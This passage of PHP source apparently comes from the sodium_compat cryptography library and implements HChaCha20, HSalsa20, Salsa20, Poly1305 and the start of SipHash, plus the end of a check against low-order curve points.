                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /*
p+55188659117513257062467267217118295137698188065244968500265048394206261417927
(order 8) */
            array(
                0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /* 2p-1 (order 2) */
            array(
                0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p (order 4) */
            array(
                0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            ),
            /* 2p+1 (order 1) */
            array(
                0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
            )
        );
        /** @var int $countBlacklist */
        $countBlacklist = count($blacklist);

        for ($i = 0; $i < $countBlacklist; ++$i) {
            $c = 0;
            for ($j = 0; $j < 32; ++$j) {
                $c |= self::chrToInt($R[$j]) ^ (int) $blacklist[$i][$j];
            }
            if ($c === 0) {
                return true;
            }
        }
        return false;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_HChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HChaCha20
 */
class ParagonIE_Sodium_Core_HChaCha20 extends
ParagonIE_Sodium_Core_ChaCha20
{
    /**
     * @param string $in
     * @param string $key
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function hChaCha20($in = '', $key =
'', $c = null)
    {
        $ctx = array();

        if ($c === null) {
            $ctx[0] = 0x61707865;
            $ctx[1] = 0x3320646e;
            $ctx[2] = 0x79622d32;
            $ctx[3] = 0x6b206574;
        } else {
            $ctx[0] = self::load_4(self::substr($c,  0, 4));
            $ctx[1] = self::load_4(self::substr($c,  4, 4));
            $ctx[2] = self::load_4(self::substr($c,  8, 4));
            $ctx[3] = self::load_4(self::substr($c, 12, 4));
        }
        $ctx[4]  = self::load_4(self::substr($key,  0, 4));
        $ctx[5]  = self::load_4(self::substr($key,  4, 4));
        $ctx[6]  = self::load_4(self::substr($key,  8, 4));
        $ctx[7]  = self::load_4(self::substr($key, 12, 4));
        $ctx[8]  = self::load_4(self::substr($key, 16, 4));
        $ctx[9]  = self::load_4(self::substr($key, 20, 4));
        $ctx[10] = self::load_4(self::substr($key, 24, 4));
        $ctx[11] = self::load_4(self::substr($key, 28, 4));
        $ctx[12] = self::load_4(self::substr($in,   0, 4));
        $ctx[13] = self::load_4(self::substr($in,   4, 4));
        $ctx[14] = self::load_4(self::substr($in,   8, 4));
        $ctx[15] = self::load_4(self::substr($in,  12, 4));
        return self::hChaCha20Bytes($ctx);
    }

    /**
     * @param array $ctx
     * @return string
     * @throws TypeError
     */
    protected static function hChaCha20Bytes(array $ctx)
    {
        $x0  = (int) $ctx[0];
        $x1  = (int) $ctx[1];
        $x2  = (int) $ctx[2];
        $x3  = (int) $ctx[3];
        $x4  = (int) $ctx[4];
        $x5  = (int) $ctx[5];
        $x6  = (int) $ctx[6];
        $x7  = (int) $ctx[7];
        $x8  = (int) $ctx[8];
        $x9  = (int) $ctx[9];
        $x10 = (int) $ctx[10];
        $x11 = (int) $ctx[11];
        $x12 = (int) $ctx[12];
        $x13 = (int) $ctx[13];
        $x14 = (int) $ctx[14];
        $x15 = (int) $ctx[15];

        for ($i = 0; $i < 10; ++$i) {
            # QUARTERROUND( x0,  x4,  x8,  x12)
            list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8,
$x12);

            # QUARTERROUND( x1,  x5,  x9,  x13)
            list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9,
$x13);

            # QUARTERROUND( x2,  x6,  x10,  x14)
            list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10,
$x14);

            # QUARTERROUND( x3,  x7,  x11,  x15)
            list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11,
$x15);

            # QUARTERROUND( x0,  x5,  x10,  x15)
            list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10,
$x15);

            # QUARTERROUND( x1,  x6,  x11,  x12)
            list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11,
$x12);

            # QUARTERROUND( x2,  x7,  x8,  x13)
            list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8,
$x13);

            # QUARTERROUND( x3,  x4,  x9,  x14)
            list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9,
$x14);
        }

        return self::store32_le((int) ($x0  & 0xffffffff)) .
            self::store32_le((int) ($x1  & 0xffffffff)) .
            self::store32_le((int) ($x2  & 0xffffffff)) .
            self::store32_le((int) ($x3  & 0xffffffff)) .
            self::store32_le((int) ($x12 & 0xffffffff)) .
            self::store32_le((int) ($x13 & 0xffffffff)) .
            self::store32_le((int) ($x14 & 0xffffffff)) .
            self::store32_le((int) ($x15 & 0xffffffff));
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_HSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HSalsa20
 */
abstract class ParagonIE_Sodium_Core_HSalsa20 extends
ParagonIE_Sodium_Core_Salsa20
{
    /**
     * Calculate an hsalsa20 hash of a single block
     *
     * HSalsa20 doesn't have a counter and will never be used for more
than
     * one block (used to derive a subkey for xsalsa20).
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function hsalsa20($in, $k, $c = null)
    {
        if ($c === null) {
            $x0  = 0x61707865;
            $x5  = 0x3320646e;
            $x10 = 0x79622d32;
            $x15 = 0x6b206574;
        } else {
            $x0  = self::load_4(self::substr($c, 0, 4));
            $x5  = self::load_4(self::substr($c, 4, 4));
            $x10 = self::load_4(self::substr($c, 8, 4));
            $x15 = self::load_4(self::substr($c, 12, 4));
        }
        $x1  = self::load_4(self::substr($k, 0, 4));
        $x2  = self::load_4(self::substr($k, 4, 4));
        $x3  = self::load_4(self::substr($k, 8, 4));
        $x4  = self::load_4(self::substr($k, 12, 4));
        $x11 = self::load_4(self::substr($k, 16, 4));
        $x12 = self::load_4(self::substr($k, 20, 4));
        $x13 = self::load_4(self::substr($k, 24, 4));
        $x14 = self::load_4(self::substr($k, 28, 4));
        $x6  = self::load_4(self::substr($in, 0, 4));
        $x7  = self::load_4(self::substr($in, 4, 4));
        $x8  = self::load_4(self::substr($in, 8, 4));
        $x9  = self::load_4(self::substr($in, 12, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4 ^= self::rotate($x0 + $x12, 7);
            $x8 ^= self::rotate($x4 + $x0, 9);
            $x12 ^= self::rotate($x8 + $x4, 13);
            $x0 ^= self::rotate($x12 + $x8, 18);
            $x9 ^= self::rotate($x5 + $x1, 7);
            $x13 ^= self::rotate($x9 + $x5, 9);
            $x1 ^= self::rotate($x13 + $x9, 13);
            $x5 ^= self::rotate($x1 + $x13, 18);
            $x14 ^= self::rotate($x10 + $x6, 7);
            $x2 ^= self::rotate($x14 + $x10, 9);
            $x6 ^= self::rotate($x2 + $x14, 13);
            $x10 ^= self::rotate($x6 + $x2, 18);
            $x3 ^= self::rotate($x15 + $x11, 7);
            $x7 ^= self::rotate($x3 + $x15, 9);
            $x11 ^= self::rotate($x7 + $x3, 13);
            $x15 ^= self::rotate($x11 + $x7, 18);
            $x1 ^= self::rotate($x0 + $x3, 7);
            $x2 ^= self::rotate($x1 + $x0, 9);
            $x3 ^= self::rotate($x2 + $x1, 13);
            $x0 ^= self::rotate($x3 + $x2, 18);
            $x6 ^= self::rotate($x5 + $x4, 7);
            $x7 ^= self::rotate($x6 + $x5, 9);
            $x4 ^= self::rotate($x7 + $x6, 13);
            $x5 ^= self::rotate($x4 + $x7, 18);
            $x11 ^= self::rotate($x10 + $x9, 7);
            $x8 ^= self::rotate($x11 + $x10, 9);
            $x9 ^= self::rotate($x8 + $x11, 13);
            $x10 ^= self::rotate($x9 + $x8, 18);
            $x12 ^= self::rotate($x15 + $x14, 7);
            $x13 ^= self::rotate($x12 + $x15, 9);
            $x14 ^= self::rotate($x13 + $x12, 13);
            $x15 ^= self::rotate($x14 + $x13, 18);
        }

        return self::store32_le($x0) .
            self::store32_le($x5) .
            self::store32_le($x10) .
            self::store32_le($x15) .
            self::store32_le($x6) .
            self::store32_le($x7) .
            self::store32_le($x8) .
            self::store32_le($x9);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Poly1305_State', false))
{
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Poly1305_State
 */
class ParagonIE_Sodium_Core_Poly1305_State extends
ParagonIE_Sodium_Core_Util
{
    /**
     * @var array<int, int>
     */
    protected $buffer = array();

    /**
     * @var bool
     */
    protected $final = false;

    /**
     * @var array<int, int>
     */
    public $h;

    /**
     * @var int
     */
    protected $leftover = 0;

    /**
     * @var int[]
     */
    public $r;

    /**
     * @var int[]
     */
    public $pad;

    /**
     * ParagonIE_Sodium_Core_Poly1305_State constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key
     * @throws InvalidArgumentException
     * @throws TypeError
     */
    public function __construct($key = '')
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Poly1305 requires a 32-byte key'
            );
        }
        /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */
        $this->r = array(
            (int) ((self::load_4(self::substr($key, 0, 4))) &
0x3ffffff),
            (int) ((self::load_4(self::substr($key, 3, 4)) >> 2)
& 0x3ffff03),
            (int) ((self::load_4(self::substr($key, 6, 4)) >> 4)
& 0x3ffc0ff),
            (int) ((self::load_4(self::substr($key, 9, 4)) >> 6)
& 0x3f03fff),
            (int) ((self::load_4(self::substr($key, 12, 4)) >> 8)
& 0x00fffff)
        );

        /* h = 0 */
        $this->h = array(0, 0, 0, 0, 0);

        /* save pad for later */
        $this->pad = array(
            self::load_4(self::substr($key, 16, 4)),
            self::load_4(self::substr($key, 20, 4)),
            self::load_4(self::substr($key, 24, 4)),
            self::load_4(self::substr($key, 28, 4)),
        );

        $this->leftover = 0;
        $this->final = false;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function update($message = '')
    {
        $bytes = self::strlen($message);

        /* handle leftover */
        if ($this->leftover) {
            $want = ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE -
$this->leftover;
            if ($want > $bytes) {
                $want = $bytes;
            }
            for ($i = 0; $i < $want; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            // We snip off the leftmost bytes.
            $message = self::substr($message, $want);
            $bytes = self::strlen($message);
            $this->leftover += $want;
            if ($this->leftover <
ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                // We still don't have enough to run
$this->blocks()
                return $this;
            }

            $this->blocks(
                static::intArrayToString($this->buffer),
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
            $this->leftover = 0;
        }

        /* process full blocks */
        if ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
            /** @var int $want */
            $want = $bytes &
~(ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - 1);
            if ($want >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                $block = self::substr($message, 0, $want);
                if (self::strlen($block) >=
ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
                    $this->blocks($block, $want);
                    $message = self::substr($message, $want);
                    $bytes = self::strlen($message);
                }
            }
        }

        /* store leftover */
        if ($bytes) {
            for ($i = 0; $i < $bytes; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            $this->leftover = (int) $this->leftover + $bytes;
        }
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param int $bytes
     * @return self
     * @throws TypeError
     */
    public function blocks($message, $bytes)
    {
        if (self::strlen($message) < 16) {
            $message = str_pad($message, 16, "\x00",
STR_PAD_RIGHT);
        }
        /** @var int $hibit */
        $hibit = $this->final ? 0 : 1 << 24; /* 1 << 128 */
        $r0 = (int) $this->r[0];
        $r1 = (int) $this->r[1];
        $r2 = (int) $this->r[2];
        $r3 = (int) $this->r[3];
        $r4 = (int) $this->r[4];

        $s1 = self::mul($r1, 5, 3);
        $s2 = self::mul($r2, 5, 3);
        $s3 = self::mul($r3, 5, 3);
        $s4 = self::mul($r4, 5, 3);

        $h0 = $this->h[0];
        $h1 = $this->h[1];
        $h2 = $this->h[2];
        $h3 = $this->h[3];
        $h4 = $this->h[4];

        while ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) {
            /* h += m[i] */
            $h0 +=  self::load_4(self::substr($message, 0, 4))       &
0x3ffffff;
            $h1 += (self::load_4(self::substr($message, 3, 4)) >> 2)
& 0x3ffffff;
            $h2 += (self::load_4(self::substr($message, 6, 4)) >> 4)
& 0x3ffffff;
            $h3 += (self::load_4(self::substr($message, 9, 4)) >> 6)
& 0x3ffffff;
            $h4 += (self::load_4(self::substr($message, 12, 4)) >> 8)
| $hibit;

            /* h *= r */
            $d0 = (
                self::mul($h0, $r0, 25) +
                self::mul($s4, $h1, 26) +
                self::mul($s3, $h2, 26) +
                self::mul($s2, $h3, 26) +
                self::mul($s1, $h4, 26)
            );

            $d1 = (
                self::mul($h0, $r1, 25) +
                self::mul($h1, $r0, 25) +
                self::mul($s4, $h2, 26) +
                self::mul($s3, $h3, 26) +
                self::mul($s2, $h4, 26)
            );

            $d2 = (
                self::mul($h0, $r2, 25) +
                self::mul($h1, $r1, 25) +
                self::mul($h2, $r0, 25) +
                self::mul($s4, $h3, 26) +
                self::mul($s3, $h4, 26)
            );

            $d3 = (
                self::mul($h0, $r3, 25) +
                self::mul($h1, $r2, 25) +
                self::mul($h2, $r1, 25) +
                self::mul($h3, $r0, 25) +
                self::mul($s4, $h4, 26)
            );

            $d4 = (
                self::mul($h0, $r4, 25) +
                self::mul($h1, $r3, 25) +
                self::mul($h2, $r2, 25) +
                self::mul($h3, $r1, 25) +
                self::mul($h4, $r0, 25)
            );

            /* (partial) h %= p */
            /** @var int $c */
            $c = $d0 >> 26;
            /** @var int $h0 */
            $h0 = $d0 & 0x3ffffff;
            $d1 += $c;

            /** @var int $c */
            $c = $d1 >> 26;
            /** @var int $h1 */
            $h1 = $d1 & 0x3ffffff;
            $d2 += $c;

            /** @var int $c */
            $c = $d2 >> 26;
            /** @var int $h2  */
            $h2 = $d2 & 0x3ffffff;
            $d3 += $c;

            /** @var int $c */
            $c = $d3 >> 26;
            /** @var int $h3 */
            $h3 = $d3 & 0x3ffffff;
            $d4 += $c;

            /** @var int $c */
            $c = $d4 >> 26;
            /** @var int $h4 */
            $h4 = $d4 & 0x3ffffff;
            $h0 += (int) self::mul($c, 5, 3);

            /** @var int $c */
            $c = $h0 >> 26;
            /** @var int $h0 */
            $h0 &= 0x3ffffff;
            $h1 += $c;

            // Chop off the left 32 bytes.
            $message = self::substr(
                $message,
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
            $bytes -= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE;
        }

        $this->h = array(
            (int) ($h0 & 0xffffffff),
            (int) ($h1 & 0xffffffff),
            (int) ($h2 & 0xffffffff),
            (int) ($h3 & 0xffffffff),
            (int) ($h4 & 0xffffffff)
        );
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return string
     * @throws TypeError
     */
    public function finish()
    {
        /* process the remaining block */
        if ($this->leftover) {
            $i = $this->leftover;
            $this->buffer[$i++] = 1;
            for (; $i < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE;
++$i) {
                $this->buffer[$i] = 0;
            }
            $this->final = true;
            $this->blocks(
                self::substr(
                    static::intArrayToString($this->buffer),
                    0,
                    ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
                ),
                ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE
            );
        }

        $h0 = (int) $this->h[0];
        $h1 = (int) $this->h[1];
        $h2 = (int) $this->h[2];
        $h3 = (int) $this->h[3];
        $h4 = (int) $this->h[4];

        /** @var int $c */
        $c = $h1 >> 26;
        /** @var int $h1 */
        $h1 &= 0x3ffffff;
        /** @var int $h2 */
        $h2 += $c;
        /** @var int $c */
        $c = $h2 >> 26;
        /** @var int $h2 */
        $h2 &= 0x3ffffff;
        $h3 += $c;
        /** @var int $c */
        $c = $h3 >> 26;
        $h3 &= 0x3ffffff;
        $h4 += $c;
        /** @var int $c */
        $c = $h4 >> 26;
        $h4 &= 0x3ffffff;
        /** @var int $h0 */
        $h0 += self::mul($c, 5, 3);
        /** @var int $c */
        $c = $h0 >> 26;
        /** @var int $h0 */
        $h0 &= 0x3ffffff;
        /** @var int $h1 */
        $h1 += $c;

        /* compute h + -p */
        /** @var int $g0 */
        $g0 = $h0 + 5;
        /** @var int $c */
        $c = $g0 >> 26;
        /** @var int $g0 */
        $g0 &= 0x3ffffff;

        /** @var int $g1 */
        $g1 = $h1 + $c;
        /** @var int $c */
        $c = $g1 >> 26;
        $g1 &= 0x3ffffff;

        /** @var int $g2 */
        $g2 = $h2 + $c;
        /** @var int $c */
        $c = $g2 >> 26;
        /** @var int $g2 */
        $g2 &= 0x3ffffff;

        /** @var int $g3 */
        $g3 = $h3 + $c;
        /** @var int $c */
        $c = $g3 >> 26;
        /** @var int $g3 */
        $g3 &= 0x3ffffff;

        /** @var int $g4 */
        $g4 = ($h4 + $c - (1 << 26)) & 0xffffffff;

        /* select h if h < p, or h + -p if h >= p */
        /** @var int $mask */
        $mask = ($g4 >> 31) - 1;

        $g0 &= $mask;
        $g1 &= $mask;
        $g2 &= $mask;
        $g3 &= $mask;
        $g4 &= $mask;

        /** @var int $mask */
        $mask = ~$mask & 0xffffffff;
        /** @var int $h0 */
        $h0 = ($h0 & $mask) | $g0;
        /** @var int $h1 */
        $h1 = ($h1 & $mask) | $g1;
        /** @var int $h2 */
        $h2 = ($h2 & $mask) | $g2;
        /** @var int $h3 */
        $h3 = ($h3 & $mask) | $g3;
        /** @var int $h4 */
        $h4 = ($h4 & $mask) | $g4;

        /* h = h % (2^128) */
        /** @var int $h0 */
        $h0 = (($h0) | ($h1 << 26)) & 0xffffffff;
        /** @var int $h1 */
        $h1 = (($h1 >>  6) | ($h2 << 20)) & 0xffffffff;
        /** @var int $h2 */
        $h2 = (($h2 >> 12) | ($h3 << 14)) & 0xffffffff;
        /** @var int $h3 */
        $h3 = (($h3 >> 18) | ($h4 <<  8)) & 0xffffffff;

        /* mac = (h + pad) % (2^128) */
        $f = (int) ($h0 + $this->pad[0]);
        $h0 = (int) $f;
        $f = (int) ($h1 + $this->pad[1] + ($f >> 32));
        $h1 = (int) $f;
        $f = (int) ($h2 + $this->pad[2] + ($f >> 32));
        $h2 = (int) $f;
        $f = (int) ($h3 + $this->pad[3] + ($f >> 32));
        $h3 = (int) $f;

        return self::store32_le($h0 & 0xffffffff) .
            self::store32_le($h1 & 0xffffffff) .
            self::store32_le($h2 & 0xffffffff) .
            self::store32_le($h3 & 0xffffffff);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Poly1305', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Poly1305
 */
abstract class ParagonIE_Sodium_Core_Poly1305 extends
ParagonIE_Sodium_Core_Util
{
    const BLOCK_SIZE = 16;

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth($m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            self::substr($key, 0, 32)
        );
        return $state
            ->update($m)
            ->finish();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $mac
     * @param string $m
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth_verify($mac, $m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            self::substr($key, 0, 32)
        );
        $calc = $state
            ->update($m)
            ->finish();
        return self::verify_16($calc, $mac);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Salsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Salsa20
 */
abstract class ParagonIE_Sodium_Core_Salsa20 extends
ParagonIE_Sodium_Core_Util
{
    const ROUNDS = 20;

    /**
     * Calculate an salsa20 hash of a single block
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function core_salsa20($in, $k, $c = null)
    {
        if (self::strlen($k) < 32) {
            throw new RangeException('Key must be 32 bytes
long');
        }
        if ($c === null) {
            $j0  = $x0  = 0x61707865;
            $j5  = $x5  = 0x3320646e;
            $j10 = $x10 = 0x79622d32;
            $j15 = $x15 = 0x6b206574;
        } else {
            $j0  = $x0  = self::load_4(self::substr($c, 0, 4));
            $j5  = $x5  = self::load_4(self::substr($c, 4, 4));
            $j10 = $x10 = self::load_4(self::substr($c, 8, 4));
            $j15 = $x15 = self::load_4(self::substr($c, 12, 4));
        }
        $j1  = $x1  = self::load_4(self::substr($k, 0, 4));
        $j2  = $x2  = self::load_4(self::substr($k, 4, 4));
        $j3  = $x3  = self::load_4(self::substr($k, 8, 4));
        $j4  = $x4  = self::load_4(self::substr($k, 12, 4));
        $j6  = $x6  = self::load_4(self::substr($in, 0, 4));
        $j7  = $x7  = self::load_4(self::substr($in, 4, 4));
        $j8  = $x8  = self::load_4(self::substr($in, 8, 4));
        $j9  = $x9  = self::load_4(self::substr($in, 12, 4));
        $j11 = $x11 = self::load_4(self::substr($k, 16, 4));
        $j12 = $x12 = self::load_4(self::substr($k, 20, 4));
        $j13 = $x13 = self::load_4(self::substr($k, 24, 4));
        $j14 = $x14 = self::load_4(self::substr($k, 28, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4 ^= self::rotate($x0 + $x12, 7);
            $x8 ^= self::rotate($x4 + $x0, 9);
            $x12 ^= self::rotate($x8 + $x4, 13);
            $x0 ^= self::rotate($x12 + $x8, 18);

            $x9 ^= self::rotate($x5 + $x1, 7);
            $x13 ^= self::rotate($x9 + $x5, 9);
            $x1 ^= self::rotate($x13 + $x9, 13);
            $x5 ^= self::rotate($x1 + $x13, 18);

            $x14 ^= self::rotate($x10 + $x6, 7);
            $x2 ^= self::rotate($x14 + $x10, 9);
            $x6 ^= self::rotate($x2 + $x14, 13);
            $x10 ^= self::rotate($x6 + $x2, 18);

            $x3 ^= self::rotate($x15 + $x11, 7);
            $x7 ^= self::rotate($x3 + $x15, 9);
            $x11 ^= self::rotate($x7 + $x3, 13);
            $x15 ^= self::rotate($x11 + $x7, 18);

            $x1 ^= self::rotate($x0 + $x3, 7);
            $x2 ^= self::rotate($x1 + $x0, 9);
            $x3 ^= self::rotate($x2 + $x1, 13);
            $x0 ^= self::rotate($x3 + $x2, 18);

            $x6 ^= self::rotate($x5 + $x4, 7);
            $x7 ^= self::rotate($x6 + $x5, 9);
            $x4 ^= self::rotate($x7 + $x6, 13);
            $x5 ^= self::rotate($x4 + $x7, 18);

            $x11 ^= self::rotate($x10 + $x9, 7);
            $x8 ^= self::rotate($x11 + $x10, 9);
            $x9 ^= self::rotate($x8 + $x11, 13);
            $x10 ^= self::rotate($x9 + $x8, 18);

            $x12 ^= self::rotate($x15 + $x14, 7);
            $x13 ^= self::rotate($x12 + $x15, 9);
            $x14 ^= self::rotate($x13 + $x12, 13);
            $x15 ^= self::rotate($x14 + $x13, 18);
        }

        $x0  += $j0;
        $x1  += $j1;
        $x2  += $j2;
        $x3  += $j3;
        $x4  += $j4;
        $x5  += $j5;
        $x6  += $j6;
        $x7  += $j7;
        $x8  += $j8;
        $x9  += $j9;
        $x10 += $j10;
        $x11 += $j11;
        $x12 += $j12;
        $x13 += $j13;
        $x14 += $j14;
        $x15 += $j15;

        return self::store32_le($x0) .
            self::store32_le($x1) .
            self::store32_le($x2) .
            self::store32_le($x3) .
            self::store32_le($x4) .
            self::store32_le($x5) .
            self::store32_le($x6) .
            self::store32_le($x7) .
            self::store32_le($x8) .
            self::store32_le($x9) .
            self::store32_le($x10) .
            self::store32_le($x11) .
            self::store32_le($x12) .
            self::store32_le($x13) .
            self::store32_le($x14) .
            self::store32_le($x15);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20($len, $nonce, $key)
    {
        if (self::strlen($key) !== 32) {
            throw new RangeException('Key must be 32 bytes
long');
        }
        $kcopy = '' . $key;
        $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8);
        $c = '';
        while ($len >= 64) {
            $c .= self::core_salsa20($in, $kcopy, null);
            $u = 1;
            // Internal counter.
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }
            $len -= 64;
        }
        if ($len > 0) {
            $c .= self::substr(
                self::core_salsa20($in, $kcopy, null),
                0,
                $len
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $kcopy = null;
        }
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $n
     * @param int $ic
     * @param string $k
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor_ic($m, $n, $ic, $k)
    {
        $mlen = self::strlen($m);
        if ($mlen < 1) {
            return '';
        }
        $kcopy = self::substr($k, 0, 32);
        $in = self::substr($n, 0, 8);
        // Initialize the counter
        $in .= ParagonIE_Sodium_Core_Util::store64_le($ic);

        $c = '';
        while ($mlen >= 64) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, 64),
                self::substr($block, 0, 64)
            );
            $u = 1;
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }

            $mlen -= 64;
            $m = self::substr($m, 64);
        }

        if ($mlen) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, $mlen),
                self::substr($block, 0, $mlen)
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block);
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $block = null;
            $kcopy = null;
        }

        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::salsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $u
     * @param int $c
     * @return int
     */
    public static function rotate($u, $c)
    {
        $u &= 0xffffffff;
        $c %= 32;
        return (int) (0xffffffff & (
                ($u << $c)
                    |
                ($u >> (32 - $c))
            )
        );
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_SipHash', false)) {
    return;
}

/**
 * Class ParagonIE_SodiumCompat_Core_SipHash
 *
 * Only uses 32-bit arithmetic, while the original SipHash used 64-bit
integers
 */
class ParagonIE_Sodium_Core_SipHash extends ParagonIE_Sodium_Core_Util
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int[] $v
     * @return int[]
     */
    public static function sipRound(array $v)
    {
        # v0 += v1;
        list($v[0], $v[1]) = self::add(
            array($v[0], $v[1]),
            array($v[2], $v[3])
        );

        #  v1=ROTL(v1,13);
        list($v[2], $v[3]) = self::rotl_64($v[2], $v[3], 13);

        #  v1 ^= v0;
        $v[2] ^= $v[0];
        $v[3] ^= $v[1];

        #  v0=ROTL(v0,32);
        list($v[0], $v[1]) = self::rotl_64((int) $v[0], (int) $v[1], 32);

        # v2 += v3;
        list($v[4], $v[5]) = self::add(
            array($v[4], $v[5]),
            array($v[6], $v[7])
        );

        # v3=ROTL(v3,16);
        list($v[6], $v[7]) = self::rotl_64($v[6], $v[7], 16);

        #  v3 ^= v2;
        $v[6] ^= $v[4];
        $v[7] ^= $v[5];

        # v0 += v3;
        list($v[0], $v[1]) = self::add(
            array((int) $v[0], (int) $v[1]),
            array((int) $v[6], (int) $v[7])
        );

        # v3=ROTL(v3,21);
